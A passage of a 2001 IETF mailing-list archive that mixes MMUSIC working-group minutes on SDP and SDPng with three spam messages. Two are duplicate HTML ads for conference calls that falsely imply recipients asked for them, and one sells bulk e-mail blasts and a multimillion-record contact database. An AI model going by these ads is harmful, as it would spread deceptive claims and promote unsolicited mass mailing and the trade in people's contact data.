idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DTYPE_OF_BUSINESS> </FONT>=
</TD></TR></TBODY></TABLE><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;<DIV align=3Dcenter><INPUT type=3Dsubmit value=3D"Submit In=
formation" name=3Dsubmit><P align=3Dcenter></BR><B></BR><FONT color=3D9999=
99 face=3D"Arial, Helvetica, sans-serif" size=3D5><P align=3Dcenter>This c=
ould be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-serif" siz=
e=3D2><BR><A href=3D"mailto:market202@excite.com?subject=3DDirect Marketin=
g"><FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FO=
NT></P><P align=3Dcenter><FONT face=3D"Arial, Helvetica, sans-serif" color=
=3D#999999 size=3D1>This email is to those persons that have contacted Con=
ference Calls for Less regarding available services or product information=
.  If this email is reaching you in error and you feel that you have not c=
ontacted us, <A href=3D"mailto:rem0ve.@excite.com?subject=3DRemove_Confere=
nce">click here</A>. We apologize and will gladly remove you from our mail=
ing list.</FONT></P></DIV></DIV></BODY>

</BODY>
</HTML>




From confctrl-owner  Sun Apr 15 06:02:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA09871
	for confctrl-outgoing; Sun, 15 Apr 2001 06:02:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA09865
	for <confctrl@zephyr.isi.edu>; Sun, 15 Apr 2001 06:02:44 -0700 (PDT)
Received: from firewall ([61.33.22.66])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f3FD2lq21722
	for <confctrl@isi.edu>; Sun, 15 Apr 2001 06:02:47 -0700 (PDT)
Message-ID: <00000ba145bc$0000189e$000061b8@denpa.net>
To: <pcmembers@infosales1.org>
From: cc4less@denpa.net
Subject: 24hr customer support                         25016
Date: Fri, 13 Apr 2001 06:21:38 -0800
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD>=
<TITLE>Take Control Of Your Conference Calls</TITLE><META http-equiv=3DCon=
tent-Type content=3D"text/html; charset=3Dwindows-1252"><META content=3D"M=
SHTML 5.50.4134.100" name=3DGENERATOR></HEAD><BODY vLink=3D#c0c0c0 link=3D=
#c0c0c0 bgColor=3D#000000 leftMargin=3D0><PRE><FONT face=3Darial,helvetica=
><HEAD><META content=3DFrontPage.Editor.Document name=3DProgId><DIV align=3D=
center><CENTER><TABLE height=3D789 cellSpacing=3D0 cellPadding=3D0 width=3D=
602 border=3D0><TBODY><TR vAlign=3Dtop><TD width=3D602 height=3D452><DIV a=
lign=3Dcenter><TABLE width=3D470 border=3D0><TBODY><TR><TD><P align=3Dcent=
er><FONT color=3D#0000ff size=3D7><B><FONT color=3D999999 size=3D6>Why Pay=
 More For Your </FONT></B></FONT><FONT color=3D#999999 size=3D6><B>Confere=
nce Calls?</B></FONT></P></TD></TR></TBODY></TABLE><TABLE width=3D352 bord=
er=3D0><TBODY><TR><TD><P align=3Dcenter><FONT color=3D#ff0000 size=3D5>Onl=
y <U><B>.18 Cents </B></U>per minute (Including long distance!)</FONT></P>=
</TD></TR></TBODY></TABLE></DIV><UL><UL><UL><UL><UL><LI><DIV align=3Dleft>=
<FONT color=3D999999 size=3D3><B>No setup fees</B></FONT></DIV><LI><DIV al=
ign=3Dleft><FONT color=3D999999 size=3D3><B>No contracts or monthly fees</=
B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>Call=
 anytime, from anywhere, to anywhere</B></FONT></DIV><LI><DIV align=3Dleft=
><FONT color=3D999999 size=3D3><B>International Dial In 18 cents per minut=
e</B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>C=
onnects up to 100 participants</B></FONT></DIV><LI><DIV align=3Dleft><FONT=
 color=3D999999 size=3D3><B>Operator Help available 24/7</B></FONT></DIV><=
/LI></UL></UL></UL></UL></UL><DIV align=3Dcenter><TABLE width=3D424 border=
=3D0><TBODY><TR><TD><DIV align=3Dcenter><FONT color=3D#ff0000 size=3D6><B>=
<FONT size=3D5>Get the best quality, the easiest to use,</FONT></B></FONT>=
 <FONT color=3D#ff0000 size=3D5><B>and lowest rate in the industry.</B></F=
ONT></DIV></TD></TR></TBODY></TABLE><TABLE width=3D300 border=3D0><TBODY><=
TR><TD height=3D73><DIV align=3Dcenter><P align=3Dcenter><FONT color=3D#99=
9999 size=3D4>If you like saving money, fill out the form below and one of=
 our consultants will contact you.</FONT></P></DIV></TD></TR></TBODY></TAB=
LE></DIV></BLOCKQUOTE></BLOCKQUOTE><DIV align=3Dcenter><P align=3Dcenter><=
FONT color=3D#ff0000 size=3D2>Required Input Field</FONT><FONT color=3D#ff=
0000 size=3D2>*</FONT></P><TABLE cellSpacing=3D0 borderColorDark=3D#333300=
 cellPadding=3D3 width=3D600 borderColorLight=3D#ffffcc><TBODY><TR><TD><FO=
RM action=3D"mailto:inbox001@excite.com?subject=3DConference_Inquiry" meth=
od=3Dpost encType=3Dtext/plain><DIV align=3Dcenter><TABLE width=3D"100%"><=
TBODY><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Name*</FONT></DIV></TD><TD width=
=3D"51%"><FONT color=3D#ff0000><INPUT name=3DNAME> </FONT></TD></TR><TR><T=
D width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sans-se=
rif" color=3D#ff0000 size=3D2>Web Address*</FONT></DIV></TD><TD width=3D"5=
1%"><FONT color=3D#ff0000><INPUT value=3Dhttp:// name=3DURL> </FONT></TD><=
/TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetic=
a, sans-serif" color=3D#ff0000 size=3D2>Company Name*</FONT></DIV></TD><TD=
 width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DCOMPANY_NAME> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>State</FONT></DIV></TD><TD wid=
th=3D"51%"><FONT color=3D#ff0000><INPUT size=3D2 name=3DSTATE> </FONT></TD=
></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Business Phone*</FONT></DIV></TD=
><TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DBUS_PHONE> </FONT><=
/TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Hel=
vetica, sans-serif" color=3D#ff0000 size=3D2>Home Phone</FONT></DIV></TD><=
TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DHOME_PHONE> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>E-mail*</FONT></DIV></TD><TD w=
idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DEMAIL> </FONT></TD></TR><=
TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sa=
ns-serif" color=3D#ff0000 size=3D2>Type of Business</FONT></DIV></TD><TD w=
idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DTYPE_OF_BUSINESS> </FONT>=
</TD></TR></TBODY></TABLE><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;<DIV align=3Dcenter><INPUT type=3Dsubmit value=3D"Submit In=
formation" name=3Dsubmit><P align=3Dcenter></BR><B></BR><FONT color=3D9999=
99 face=3D"Arial, Helvetica, sans-serif" size=3D5><P align=3Dcenter>This c=
ould be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-serif" siz=
e=3D2><BR><A href=3D"mailto:market202@excite.com?subject=3DDirect Marketin=
g"><FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FO=
NT></P><P align=3Dcenter><FONT face=3D"Arial, Helvetica, sans-serif" color=
=3D#999999 size=3D1>This email is to those persons that have contacted Con=
ference Calls for Less regarding available services or product information=
.  If this email is reaching you in error and you feel that you have not c=
ontacted us, <A href=3D"mailto:rem0ve.@excite.com?subject=3DRemove_Confere=
nce">click here</A>. We apologize and will gladly remove you from our mail=
ing list.</FONT></P></DIV></DIV></BODY>

</BODY>
</HTML>




From confctrl-owner  Sun Apr 15 06:08:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA10187
	for confctrl-outgoing; Sun, 15 Apr 2001 06:08:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA10182
	for <confctrl@zephyr.isi.edu>; Sun, 15 Apr 2001 06:08:17 -0700 (PDT)
Received: from firewall ([61.33.22.66])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f3FD8Kq22090
	for <confctrl@isi.edu>; Sun, 15 Apr 2001 06:08:20 -0700 (PDT)
Message-ID: <00000ba145bc$0000189e$000061b8@denpa.net>
To: <pcmembers@infosales1.org>
From: cc4less@denpa.net
Subject: 24hr customer support                         25016
Date: Fri, 13 Apr 2001 06:20:02 -0800
MIME-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 1
X-MSMail-Priority: High
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<BODY>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD>=
<TITLE>Take Control Of Your Conference Calls</TITLE><META http-equiv=3DCon=
tent-Type content=3D"text/html; charset=3Dwindows-1252"><META content=3D"M=
SHTML 5.50.4134.100" name=3DGENERATOR></HEAD><BODY vLink=3D#c0c0c0 link=3D=
#c0c0c0 bgColor=3D#000000 leftMargin=3D0><PRE><FONT face=3Darial,helvetica=
><HEAD><META content=3DFrontPage.Editor.Document name=3DProgId><DIV align=3D=
center><CENTER><TABLE height=3D789 cellSpacing=3D0 cellPadding=3D0 width=3D=
602 border=3D0><TBODY><TR vAlign=3Dtop><TD width=3D602 height=3D452><DIV a=
lign=3Dcenter><TABLE width=3D470 border=3D0><TBODY><TR><TD><P align=3Dcent=
er><FONT color=3D#0000ff size=3D7><B><FONT color=3D999999 size=3D6>Why Pay=
 More For Your </FONT></B></FONT><FONT color=3D#999999 size=3D6><B>Confere=
nce Calls?</B></FONT></P></TD></TR></TBODY></TABLE><TABLE width=3D352 bord=
er=3D0><TBODY><TR><TD><P align=3Dcenter><FONT color=3D#ff0000 size=3D5>Onl=
y <U><B>.18 Cents </B></U>per minute (Including long distance!)</FONT></P>=
</TD></TR></TBODY></TABLE></DIV><UL><UL><UL><UL><UL><LI><DIV align=3Dleft>=
<FONT color=3D999999 size=3D3><B>No setup fees</B></FONT></DIV><LI><DIV al=
ign=3Dleft><FONT color=3D999999 size=3D3><B>No contracts or monthly fees</=
B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>Call=
 anytime, from anywhere, to anywhere</B></FONT></DIV><LI><DIV align=3Dleft=
><FONT color=3D999999 size=3D3><B>International Dial In 18 cents per minut=
e</B></FONT></DIV><LI><DIV align=3Dleft><FONT color=3D999999 size=3D3><B>C=
onnects up to 100 participants</B></FONT></DIV><LI><DIV align=3Dleft><FONT=
 color=3D999999 size=3D3><B>Operator Help available 24/7</B></FONT></DIV><=
/LI></UL></UL></UL></UL></UL><DIV align=3Dcenter><TABLE width=3D424 border=
=3D0><TBODY><TR><TD><DIV align=3Dcenter><FONT color=3D#ff0000 size=3D6><B>=
<FONT size=3D5>Get the best quality, the easiest to use,</FONT></B></FONT>=
 <FONT color=3D#ff0000 size=3D5><B>and lowest rate in the industry.</B></F=
ONT></DIV></TD></TR></TBODY></TABLE><TABLE width=3D300 border=3D0><TBODY><=
TR><TD height=3D73><DIV align=3Dcenter><P align=3Dcenter><FONT color=3D#99=
9999 size=3D4>If you like saving money, fill out the form below and one of=
 our consultants will contact you.</FONT></P></DIV></TD></TR></TBODY></TAB=
LE></DIV></BLOCKQUOTE></BLOCKQUOTE><DIV align=3Dcenter><P align=3Dcenter><=
FONT color=3D#ff0000 size=3D2>Required Input Field</FONT><FONT color=3D#ff=
0000 size=3D2>*</FONT></P><TABLE cellSpacing=3D0 borderColorDark=3D#333300=
 cellPadding=3D3 width=3D600 borderColorLight=3D#ffffcc><TBODY><TR><TD><FO=
RM action=3D"mailto:inbox001@excite.com?subject=3DConference_Inquiry" meth=
od=3Dpost encType=3Dtext/plain><DIV align=3Dcenter><TABLE width=3D"100%"><=
TBODY><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Name*</FONT></DIV></TD><TD width=
=3D"51%"><FONT color=3D#ff0000><INPUT name=3DNAME> </FONT></TD></TR><TR><T=
D width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sans-se=
rif" color=3D#ff0000 size=3D2>Web Address*</FONT></DIV></TD><TD width=3D"5=
1%"><FONT color=3D#ff0000><INPUT value=3Dhttp:// name=3DURL> </FONT></TD><=
/TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetic=
a, sans-serif" color=3D#ff0000 size=3D2>Company Name*</FONT></DIV></TD><TD=
 width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DCOMPANY_NAME> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>State</FONT></DIV></TD><TD wid=
th=3D"51%"><FONT color=3D#ff0000><INPUT size=3D2 name=3DSTATE> </FONT></TD=
></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvet=
ica, sans-serif" color=3D#ff0000 size=3D2>Business Phone*</FONT></DIV></TD=
><TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DBUS_PHONE> </FONT><=
/TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Hel=
vetica, sans-serif" color=3D#ff0000 size=3D2>Home Phone</FONT></DIV></TD><=
TD width=3D"51%"><FONT color=3D#ff0000><INPUT name=3DHOME_PHONE> </FONT></=
TD></TR><TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helv=
etica, sans-serif" color=3D#ff0000 size=3D2>E-mail*</FONT></DIV></TD><TD w=
idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DEMAIL> </FONT></TD></TR><=
TR><TD width=3D"49%"><DIV align=3Dright><FONT face=3D"Arial, Helvetica, sa=
ns-serif" color=3D#ff0000 size=3D2>Type of Business</FONT></DIV></TD><TD w=
idth=3D"51%"><FONT color=3D#ff0000><INPUT name=3DTYPE_OF_BUSINESS> </FONT>=
</TD></TR></TBODY></TABLE><P><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;<DIV align=3Dcenter><INPUT type=3Dsubmit value=3D"Submit In=
formation" name=3Dsubmit><P align=3Dcenter></BR><B></BR><FONT color=3D9999=
99 face=3D"Arial, Helvetica, sans-serif" size=3D5><P align=3Dcenter>This c=
ould be your ad!</FONT></B><FONT face=3D"Arial, Helvetica, sans-serif" siz=
e=3D2><BR><A href=3D"mailto:market202@excite.com?subject=3DDirect Marketin=
g"><FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</FO=
NT></P><P align=3Dcenter><FONT face=3D"Arial, Helvetica, sans-serif" color=
=3D#999999 size=3D1>This email is to those persons that have contacted Con=
ference Calls for Less regarding available services or product information=
.  If this email is reaching you in error and you feel that you have not c=
ontacted us, <A href=3D"mailto:rem0ve.@excite.com?subject=3DRemove_Confere=
nce">click here</A>. We apologize and will gladly remove you from our mail=
ing list.</FONT></P></DIV></DIV></BODY>

</BODY>
</HTML>




From confctrl-owner  Sun Apr 15 08:47:30 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA16421
	for confctrl-outgoing; Sun, 15 Apr 2001 08:47:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA16416
	for <confctrl@zephyr.isi.edu>; Sun, 15 Apr 2001 08:47:29 -0700 (PDT)
Received: from purple.east.isi.edu (purple.east.isi.edu [38.245.76.9])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3FFlUq04201
	for <confctrl@isi.edu>; Sun, 15 Apr 2001 08:47:30 -0700 (PDT)
Received: from purple.east.isi.edu (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.8.7) with ESMTP id LAA02399
	for <confctrl@isi.edu>; Sun, 15 Apr 2001 11:47:28 -0400
Message-Id: <200104151547.LAA02399@purple.east.isi.edu>
To: confctrl@ISI.EDU
Subject: Minutes from the Minneapolis MMUSIC meeting
Date: Sun, 15 Apr 2001 11:47:28 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Minutes of the MMUSIC working group
===================================

Reported by Joerg Ott and Colin Perkins
Notes taken by Tom Taylor (thanks!)

Slides can be retrieved from:
   http://www.dmn.tzi.org/ietf/mmusic/50/slides/mmusic-slides-pdf.zip
or http://www.dmn.tzi.org/ietf/mmusic/50/slides/mmusic-slides-ppt.zip

The MMUSIC WG met once at the 50th IETF (Thu 1530-1730).  The meeting
was chaired by Joerg Ott and Colin Perkins and was attended by some
60 participants.  It is noted that MMUSIC was scheduled in parallel
to SIMPLE despite both WGs requested non-overlap with the other; this
way core core contributors to both groups had to decide on one of
them.

MMUSIC WG Update
----------------
Joerg Ott, jo@ipdialog.com

Joerg gave a brief update on the WG status: the ATM extensions for SDP
are now with the RFC editor, the Multimedia Conferencing Architecture
is going to historical.  The Mbus transport will be re-submitted
shortly and then be Last Called for Experimental.  The work on RTSP is
continuing; an update will be given at the next IETF in London.

As per discussion with the ADs, conference control (which has been on
the charter with little interest from the community for many years) is
considered out of the scope of MMUSIC.  Joerg noted recently growing
interest in this area; interested parties are requested to consult
with the MMUSIC chairs and the Transport ADs for initiating work on
this subject in the IETF.  MMUSIC is not going to accept new work
items but if there is sufficient interest, the WG chairs will work
with the ADs to find another home for this work.

SDP revision
------------
(draft-ietf-mmusic-sdp-new-01.txt)

Colin Perkins, csp@isi.edu

Colin briefly summarized the revision process of SDP (RFC 2327); he
has received little input on corrections to SDP since the last IETF.
The latest draft of the revised SDP has just been submitted.  There
are few changes since the last one, including:

  "b=" modifiers
  "m=" may have multiple ports if "c=" has multiple addresses

Both were motivated by RTP specification updates.

Colin was asked if there would be a grammar update since there are
issues with IPv6 addresses and probably other errors as well.  The
answer is yes, if bugs are found.

For all corrections to the revised SDP spec, people are requested to
provide detailed wording changes and send them to the list.


Simple Capability Negotiation for SDP
-------------------------------------
(draft-andreasen-mmusic-sdp-simcap-reqts-00.txt,
 draft-andreasen-mmusic-sdp-simcap-01.txt)

Flemming Andreasen, fandreasen@microsoft.com

Flemming Andreasen presented his progress on the simple capability
negotiation mechanism for SDP.  As well known, the basic SDP does not
provide means capability negotiation; Flemming's proposal adds such a
feature in a minimal and backward compatible fashion.  This shall
allow for a smooth migration path of the installed base of devices
using SDP.  As agreed at the 49th IETF, Flemming has created a
separate document in addition to the specification itself that more
explicitly describes the motivation and summarizes the requirements
for this work.

The simple capabilities specification document is considerd ready for
WG Last Call which will be issued shortly.


SDP Media Flow Identifiers
--------------------------
(draft-ietf-mmusic-fid-00.txt)

Gonzalo Camarillo, Gonzalo.Camarillo@ericsson.com

Gonzalo Camarillo discussed the changes to the Flow ID specification.
The "fid" attributes define media flows -- they allow to make up a
single logical media flow from multiple RTP sessions, e.g. tones
vs. voice.  This permits switching behaviour based on codec currently
in use.  The current revision has incorporated input from the last
IETF and has clarified definitions from previous draft.

The optimizations included for SIP session establishment will be
removed from the next revision of the document since they are in
conflict with the latest revisions of the SIP spec (SDP is no longer
allowed in all three messages INVITE, 200 OK, and ACK).  This will not
alter the basic functioning of the fid attribute. 

The fid attribute does not interact with the simple capability
negotiation mechanism presented before -- but the fid attribute can
be used to express alternatives.

The document will be redrafted after the IETF.  The chair noted
concerns with clarity of text which will be addressed.  Gonzalo will
resubmit the document in the weeks to come.  A WG Last Call will
follow.

As a general point with respect to SDP, Joerg urged that, besides the
two current SDP additions that are close to finalization, no further
modifications shall be made to SDP; instead, only SPDng shall be used
to gain additional functionality.


SDPng Requirements and SDPng syntax
-----------------------------------
(draft-ietf-mmusic-sdpng-req-00.txt)

Dirk Kutscher, dku@tzi.uni-bremen.de

Dirk Kutscher discussed the (sligtly revised) requirements of SDPng;
the document incorporates various comments received since the last
IETF (during a Bar BOF, during the second MMUSIC WG session at the
last IETF, and afterwards on the mailing list).  Further comments
received at this meeting will be included in the next revision.  It
was noted that the MEGACO WG is to contribute its own requirements on
SDPng (which is likely to become a charter item of a new MEGACO WG
charter).

Dirk then outlined a first cut at the XML-based syntax proposal for
SDPng.  This document did not make the Internet Draft deadline but
will be submitted soon after the meeting in its initial revision.

XML has been chosen as as basis because it already provides the
desirable language features -- a way to structure information,
definition mechanisms allowing for formal validation, and a namespace
concept -- so that there is little reason to develop a new language
from scratch.

The overall structure follows the general model already
presented at the last IETF, consisting of four sections:  

  (1) Optional definitions section
  (2) Potential and act configs, corresponding to SDP m= lines and
attributes
  (3) Optionak Constraints section
  (4) Session attributes, roughly ressembling SDP session definitions

The definitions section contains definitions of abstractions for later
re-use e.g. codecs, redundancy schemes, transport mechanisms, etc.
The configurations section combines definitions from the first section
(and may, optionally, introduce new ones).  Definitions and
configurations are labelled for later referencing.  The constraints
section will allow to pose restrictions on the combinations of
configurations (e.g. limit the number of instances a certain codec may
be used or allow only certain combinations of codecs).

External packages may be used to formally provide "well-known"
definitions of codecs, transport mechanisms, etc. -- e.g. include all
the information currently in the RTP profile in terms of SDPng.
External packages may also specify constraints and other rules to be
imported by SDP definitions (so that the actual size of a message may
be limited).  A registry needs to be set up to allow independent
development of SDPng packages.  Registrations should also help
avoiding name collisions in conjunction with using the XML namespace
concept.

Two ways are conceivable to refer to certain (well-known) SDPng
packages: in-line inclusion of the referenced definitions allows for
self-contained messages and thus independence of prior external
agreements; built-in definitions (in each implementation) in contrast
will minimize the message size.  A comment was made that concerns with
size of SIP messages may eventually guide the selection.

SDPng packages may be specified either by means of DTDs or XML
schemas.  No decision has been taken on this issue yet.

Concern were expressed about the code size for an SDPng
implementation.  Joerg noted that a minimal message parser need not be
full XML parser.  It was also mentioned that the XML people have
worked to keep size down and XML parsers already part of 3GPP.

Dirk went through an example of an SDP message covering all four
sections (see slides).

The next steps on SDPng include working out the details of the
definition mechanism, specifying the SDPng packages for the most
common cases (presumably starting from the RTP profile), describing
the mechanism for capability negotiation, and publishing the initial
draft for SDPng as soon as possible.

A comment was made to consider the need to carry information about a
conference, policy information, etc.  Joerg pointed out that
conference control is likely to be just another "media type" with a
self-contained package description and thus all extension mechanisms
to initiate and parameterize a conference control session are in
place.

Again, concerns were raised on message size were raised, particularly
from the experience with SIP, where the message size pushed from
people from using UDP to using TCP.  From this, a need for a minimal
description for basic case was expressed.  The authors noted that they
are very much aware of this requirement.

There is quite some work to be done on SDPng.  As stated above, the
draft spec will be made available as soon as possible.  Input on SDPng
is solicited.



From confctrl-owner  Sun Apr 15 16:50:14 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA06046
	for confctrl-outgoing; Sun, 15 Apr 2001 16:50:14 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA06041
	for <confctrl@zephyr.isi.edu>; Sun, 15 Apr 2001 16:50:13 -0700 (PDT)
Received: from bellsouth.net (cm20816625250.coralsprings.ispchannel.com [208.166.25.250])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f3FNo4f01182;
	Sun, 15 Apr 2001 16:50:05 -0700 (PDT)
Subject: FWD> IT Contact Database...
Reply-To: mark_pringle@apexmail.com
To: mydeez@mauimail.com
Message-Id: <67oolt2b053d288.462icsqyp1@bellsouth.net>
Content-Type: text/plain;
	 charset=us-ascii
Content-Transfer-Encoding: 7BIT
From: mark_pringle@apexmail.com
Date: Sun, 15 Apr 2001 19:54:39 -0500
X-Mailer: ALPHA_XMR75_00001SLBL
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


As a dot.com professional you know that it is essential to your teams' 
success to advertise your web site, business, product, service, or your 
organizations' cause to the masses. You also know that your marketing and 
advertising budget limits your options.

If you are a Fortune 500 corporation, you have the advantage of being able to 
book 30 second TV spots during the SuperBowl. Most of us are not in that 
position though. Besides, did you know that something on the order of 92% of 
TV viewers run to the washroom at commercial breaks during the program, 
thereby missing the expensive commercial spot.


Q: Of all the various advertising mediums which do you feel is most effective,
 in cases when you require your prospect to remember your telephone number or 
web address?


Let's outline and agree on a list of the main advertising and marketing 
mediums first:


- Television Commercial
- Television Infomercial
- Internet Banner Ads (paid for on a click-through basis)
- Internet Banner Ads (paid for on an impression basis)
- So-Called opted-in email list rental and broadcast
- Radio Commercial
- Print Media (Newspapers, Magazines)
- Print Media (Hand-Outs)
- Trade Shows
- News or Media organization story or profile on your project
- Affiliate Links
- Signage
- Telemarketing
- Direct Mail 
- Broadcast Fax (not personalized to its recipients)
- Broadcast Fax (personalized and to the Attention of its recipients)
- Targeted Broadcast Email (personalized or not)


Now consider the effectiveness of each advertising choice, remembering that 
in many cases your audience must still remember a telephone number in order to 
contact you.


Q: Which is the least costly and most effective?


E-mail marketing works! Why? There are many reasons, but primarily because 
people are focused on their monitors while checking their e-mail. Totally 
focused. In addition, they have a hard copy of your ad on their hard drive, 
and it is simple for them to forward the ad to their friends and
associates as well.


You can tell your story with more words and target your list to particular 
types of recipients or geographical areas. We offer some of the best delivery 
and bulk e-mail prices on the Internet. Bulk e-mail can get you the best 
exposure on the net. What makes this kind of advertising so effective is the 
fact that you go to the potential customer. Not like search engines or print 
ads that the potential customer has to do all the searching.  Dollar for 
dollar bulk e-mailing is also the most economical.  We do all the mailing for 
you. You just provide us with the ad!  It's that simple!


What we offer is simple:

*General Lists or other ISPs
 
#100,000	Emails		$495.00
#250,000	Emails		$995.00
#500,000	Emails		$1,495.00
#1,000,000	Emails		$2,495.00
#2,500,000	Emails		$4,995.00
#5,000,000+	Emails		(Call for Quote)

WE ALSO HAVE LARGER PACKAGES!

*Targeted Lists (Starting @): 

#100,000	Emails		$995.00
#250,000	Emails		$1,495.00
#500,000	Emails		$2,995.00
#1,000,000	Emails		 (Call for Quote)

METHOD OF PAYMENT, CASHIERS CHECK MONEY ORDER OR BANK WIRE.

$$$GET AN ADDITIONAL FREE 25% ON TOP OF EVERY ORDER...
IF YOU ORDER WITHIN 5 DAYS OF RECIEVING THIS MESSAGE!

Call for bigger packages!  ORDER NOW!!!	AND GET THE RIGHT EXPOSURE!

For more details on Email Services, please call:

#954.340.1628 (US & International)


IF YOU ARE THE DO IT YOURSLF TYPE OR ARE STILL USING TRADITONAL MARKETING 
TECHNICS, YOU MUST TAKE A LOOK AT THE 8 1/2 MILLION BUSINESS TO BUSINESS 
DATABASE!!

Our 3.0 Version B2B Database Will Go Online and Sell For 2.5 to 25 Cents Per 
Record in early July! (Extended Due to Delays From The 1st)

You can now access contact data for over 8.5 Million Records. All of them 
have their own .com .org or .net domain name, making them serious prospects 
for Internet business. 

Our data base readily accessible on CD-Rom, list the Names, Contact 
Information, Physical Address, Phone #, Fax #, SIC Industry Code, URL (Domain 
Name), and Contact Email Address which you can use to efficiently target 
companies worldwide.

Over 8.5 Million Physical Addresses let you target businesses by Country, 
State, City, Province, Zip Code, Area Code or by using the SIC Industry Code.  
The data comes in a Comma-Delimited ASCII format which makes it easy to 
manipulate and Import/Export records to your Contact-Management, Spreadsheet, 
analysis and Broadcasting Applications.

We’d be happy to give you rough counts for your industry target market. We 
also build databases to order and carry more than a dozen other data bases 
both Domestic and International ( B2B and B2C).



Please send me more info about:

